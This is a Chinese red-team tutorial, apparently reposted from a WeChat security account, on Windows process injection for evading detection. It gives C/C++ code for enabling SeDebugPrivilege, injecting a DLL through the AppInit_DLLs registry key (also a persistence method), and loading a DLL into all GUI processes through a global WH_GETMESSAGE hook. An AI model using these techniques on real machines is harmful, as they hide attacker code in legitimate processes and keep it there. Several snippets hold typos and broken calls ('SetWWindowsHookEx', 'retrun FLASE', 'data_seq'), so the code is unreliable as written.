HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩

admin 2023年3月17日11:24:44评论73 views字数 8365阅读27分53秒阅读模式

进程注入 ,简而言之就是将代码注入到另一个进程中,跨进程内存注入,即攻击者将其代码隐藏在合法进程中,长期以来一直被用作逃避检测的手段.


前言

进程注入 ,简而言之就是将代码注入到另一个进程中,跨进程内存注入,即攻击者将其代码隐藏在合法进程中,长期以来一直被用作逃避检测的手段.

进程的注入方式可以分为DLL注入和shellcode注入,这两种方式本质上没有区别,在操作系统层面上,dll也就是shellcode的汇编代码。


代码框架

想法是尽量用一个通用的注入框架,有异常接收,令牌权限开启,获取进程PID的功能,只需要在main函数中调用不同的注入方式:

#include "public.h"
int main() {
  DWORD pid = GetPid();
  if (pid == 0) {
    ShowError("Getpid");
    return -1;
  }
  //std::cout<<"Pid:" << pid << std::endl;
  if (!EnableDebugPrivilege(TRUE)) {
    ShowError("EnableDebugPrivilege");
    return -1;
  }

  BOOL bRet = Inject(DWORD dwPid, CHAR code[]);
  if (bRet != TRUE)
  {
    ShowError("Inject");
    return -1;
  }
  system("pause");
  return 0;
}
BOOL Inject(DWORD dwPid, CHAR code[])
{
  BOOL ret = TRUE;
  return ret;
}


获取进程pid

主要实现通过进程名称获取进程Pid,代码很简单如下:

DWORD GetPid() {
  //获取进程快照
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  //创建进程结构体
  PROCESSENTRY32 process = { 0 };
  process.dwSize = sizeof(process);
  if (Process32First(snapshot, &process)) {
    do {
      if (!wcscmp(process.szExeFile, L"notepad.exe"))
        break;
    } while (Process32Next(snapshot, &process));

  }
  CloseHandle(snapshot);
  return process.th32ProcessID;
}


错误处理

错误、异常处理,用来接收的返回值GetLastError():

VOID ShowError(PCHAR msg)
{
  printf("%s Error %dn", msg, GetLastError());
}


进程提权

AdjustTokenPrivileges

在进程注入中,如果要对其他进程(包括系统进程和服务进程)进行注入,需要获取当前进程的SeDeBug权限来调用OpenProcess打开要注入的进程。如果用户是管理员组下的成员是具有该权限的。

但是当我们用Administrator身份去打开一个进程时,还是会出现拒绝访问的错误:

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩


错误代码为5表示拒绝访问:

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩

这是因为默认情况下,某些进程的访问权限是没有开启的。所谓的"提权",其实就是将原有的权限开启,并不是真正意思上的提权,微软提供了一些可供我们修改令牌权限,比如:

AdjustTokenPrivileges function (securitybaseapi.h) - Win32 apps | Microsoft Docs

具体用法如下:

//开启进程调试权限 Debug
BOOL EnableDebugPrivilege(BOOL bEnable)
{
  HANDLE hToken = nullptr;
  LUID luid;

  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;

  TOKEN_PRIVILEGES tokenPriv;
  tokenPriv.PrivilegeCount = 1;
  tokenPriv.Privileges[0].Luid = luid;
  tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;

  if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;

  return TRUE;
}


开启该权限后,编程程序,右键管理员打开,开启权限成功:

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩


RtlAdjustPrivilege

这是一个微软未公开的API,封装在ntdll.dll中。

补充一句:

ntdll.dll是Windows系统从Ring3到Ring0的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的,也就是说所有的程序都会调用ntdll.dll。

32位系统通过SYSENTRY进入Ring0

64位系统通过SYSCALL进入Ring0

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩


函数定义如下:

NTSTATUS RtlAdjustPrivilege
(
    ULONG Privilege, // 所需要的权限名称,可以到MSDN查找关于Process Token & Privilege内容可以查到
    BOOLEAN Enable, // 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
    BOOLEAN CurrentThread, // 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
    PBOOLEAN Enabled // 输出原来相应权限的状态(打开 | 关闭)
)


可以借助IDA载入ntdll.dll对该API进行分析,按F5可查看伪代码:

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩


用法如下,同样需要以管理员身份运行:

BOOL NTEnableDebugPrivilege() {
  int nEn = 0;
  const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
  HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
  typedef int(_stdcall* type_RtlAdjustPrivilege)(int, BOOL, BOOL, int*);
  type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
  RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
  return true;
}


AppInit_DLLs注入

windows整个系统的配置都保存在这个注册表中,我们可以通过调整其中的设置来改变系统的行为,恶意软件常用于注入和持久性的注册表项条目位于以下位置:

  • HKLMSoftwareMicrosoftWindows NTCurrentVersionWindowsAppinit_Dlls

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩

当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每个DLL。

只要将AppInit_DLLs设置为要注入的DLL的路径并且将LoadAppInit_DLLs的值改成1。那么,当程序重启的时候,所有加载user32.dll的进程都会根据AppInit_Dlls中的DLL路径加载指定的DLL。

需要注意的是,在win7之后,windows对dll加载的安全性增加了控制,

  • LoadAppInit_DLLs 为1开启,为0关闭,(Win7默认为0)

  • RequireSignedAppInit_DLLs 值为1表明模块需要签名才能加载,反之。

BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
    BOOL bRet = TRUE;
    HKEY hKey = NULL;
    CHAR szAppKeyName[] = { "AppInit_DLLs" };
    CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" };
    DWORD dwLoadAppInit = 1; //设置LoadAppInit_DLLs的值

    //打开相应注册表键
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\Windows",
        0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
    {
        ShowError("RegOpenKeyEx");
        bRet = FALSE;
        goto exit;
    }

    //设置AppInit_DLLs为相应的DLL路径
    if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS)
    {
        ShowError("RegSetValueEx");
        bRet = FALSE;
        goto exit;
    }

    //将LoadAppInit_DLLs的值设为1
    if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS)
    {
        ShowError("RegSetValueEx");
        bRet = FALSE;
        goto exit;
    }
exit:
    return bRet;
}


Tips:

  • 被注入的DLL是在进程的生命周期的早期(Loader)被载入的,因此我们在调用函数的时候应该谨慎,调用Kernel32.dll中的函数应该没有问题,但是调用其他DLL中的函数可能会导致失败,甚至可能会导致蓝屏

  • User32.dll不会检查每个DLL的载入或初始化是否成功,所以不能保证DLL注入一定成功

  • DLL只会被映射到那些使用了User32.dll的进程中,所有基于GUI的应用程序都使用了User32.dll,但大多数基于CUI的应用程序都不会使用它。因此,如果想要将DLL注入到编译器或者链接器或者命令行程序,这种方法就不可行

  • DLL会被映射到每个基于GUI的应用程序中,可能会因为DLL被映射到太多的进程中,导致"容器"进程崩溃

  • 注入的DLL会在应用程序终止之前,一直存在于进程的地址空间中,这个技术无法做到只在需要的时候才注入我们的DLL

全局钩子注入

Windows系统中的大多数应用都是基于消息机制的,也就是说它们都有一个消息过程函数,可以根据收到的不同消息来执行不同的代码。基于这种消息机制,Windows维护了一个OS message queue以及为每个程序维护着一个application message queue。当发生各种事件的时候,比如敲击键盘,点击鼠标等等,操作系统会从OS message queue将消息取出给到相应的程序的application message queue。

而OS message queue和application message queue的中间有一个称为钩链的结果如下

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩

如果创建的是一个全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的。发生对于事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程空间地址中,使它能够调用钩子函数进行处理。

在操作系统中安装全局钩子后,只要进程接收到收到可以发出钩子的消息,全局钩子的DLL文件就会由操作系统自动或强行的加入到该进程中。因此,设置全局钩子可以达到DLL注入的目的。

为了能够让DLL注入到所有进程中,程序设置WH_GETMESSAGE消息的全局钩子。因为WH_GETMESSAGE类型的钩子会监视消息队列,并且Windows系统是基于消息驱动的,所以所有进程都有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局钩子DLL。

钩子函数就需要使用SetWindowHookEx来将钩子函数安装到钩链中,函数在文档中的定义如下

HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);


举个栗子:

//设置全局钩子
BOOL SetGlobalHook(){
    g_hHook = SetWWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GETMsgProc,g_hDLLModule,0);
    if (NULL == g_hHook){
        retrun FLASE;
    }
    return TRUE;
}


在上述代码中,SetWindowsHookEx的第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子,它可以监视发送到消息队列的消息,前面已经提到了。第二个参数表示钩子回调函数,回调函数的名称可以是任意的,参数和返回值是固定的。第三个参数表示包含钩子回调函数DLL模块句柄,如果要设置全局钩子,则该参数必须指定DLL模块句柄。第四个参数表示与钩子关联的线程ID,0表示全局钩子。

//钩子回调函数
LRESULT GetMsgProc(int code,WPARAM wParam,LPARAM lParam){
    return CallNextHookEx(g_hHook,code,wParam,lParam);
}


上述代码中,函数的参数和返回值的数据类型是固定的。其中,CallNextHookEx函数表示将当前钩子传递给钩子链中的下一个钩子,第一个参数要指定当前钩子的句柄。如果直接返回0,则表示中断钩子传递,对钩子进行拦截。

当钩子不再使用时,可以卸载全局钩子,此时已经包含钩子函数的DLL模块的进程,将会释放DLL模块。卸载全局钩子代码如下:

//卸载钩子
BOOL UnsetGlobalHook(){
    if (g_hHook){
        UnhookWindowsHookEx(g_hHook);
    }
    return true;
}


UnsetGlobalHook 函数用来卸载指定钩子,参数便是卸载钩子的句柄。

我们知道,全局钩子是以DLL的形式加载到其他进程空间中的,而且进程都是独立的,所以任意修改一个内存里的数据是不会影响另一个进程的。那么如何实现注入呢?可以在DLL中创建共享内存。

共享内存是指突破进程独立性,多个进程共享一段内存。在DLL中创建一个变量,让后将DLL加载到多个进程空间,只要一个进程就该了该变量值,其他进程DLL中的这个值也会改变,相当于多个进程共享也给内存。

共享内存原理实现:首先为DLL创建一个数据段,然后在对程序的链接器进行设置,把指定的数据段链接为共享数据段。

代码实现:

//内存共享
#pragma data_seq("mydata")
  HHOOK g_hHook = NULL;
#pragma data_seq();
#pragma comment(linker,"/SECTION:mydata,RWS")


使用#pragma data_seq("mydata")创建一个共享的数据段,然后#pragma comment(linker,"/SECTION:mydata,RWS") 设置为可读可写可执行。

BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
  typedef BOOL(*typedef_SetGlobalHook)();
  typedef BOOL(*typedef_UnsetGlobalHook)();
  HMODULE hDll = NULL;
  typedef_SetGlobalHook SetGlobalHook = NULL;
  typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
  BOOL bRet = FALSE;
  do
  {
    hDll = ::LoadLibrary("GlobalHook_Test.dll");
    if (NULL == hDll)
    {
            ShowError("LoadLibrary");
      break;
    }
    SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");
    if (NULL == SetGlobalHook)
    {
  
            ShowError("GetProcAddress");
      break;
    }
    bRet = SetGlobalHook();
    if (bRet)
    {
      printf("SetGlobalHook OK.n");
    }
    else
    {
            ShowError("SetGlobalHook");
    }

    system("pause");

    UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");
    if (NULL == UnsetGlobalHook)
    {
      ShowError("GetprocAddress");
      break;
    }
    UnsetGlobalHook();
    printf("UnsetGlobalHook OK.n");

  }while(FALSE);

  system("pause");
  return true;
}

内容参考 :《Windows核心编程》、百度、谷歌

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩
「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!

知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。

如何加入:扫描下方二维码,扫码付费即可加入。

加入知识星球的同学,请加我微信,拉您进VIP交流群!

HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩

朋友都在看

▶️3保1评 | 分保、等保、关保、密评联系与区别

▶️等保2.0丨2021 必须了解的40个问题

▶️等保2.0 三级 拓扑图+设备套餐+详解

▶️等保2.0 二级 拓扑图+设备套餐+详解

▶️等保2.0 测评  二级系统和三级系统多长时间测评一次?

▶️等保2.0系列安全计算环境之数据完整性、保密性测评

▶️等保医疗|全国二级、三乙、三甲医院信息系统安全防护设备汇总

▶️国务院:不符合网络安全要求的政务信息系统未来将不给经费

▶️等级保护、风险评估和安全测评三者的区别

▶️分保、等保、关保、密码应用对比详解

▶️汇总 | 2020年发布的最重要网络安全标准(下载)

▶️2022版 | 全国网络安全常用标准(下载)

欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识

原文始发于微信公众号(天億网络安全):HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日11:24:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩https://cn-sec.com/archives/1226040.html

发表评论

匿名网友 填写信息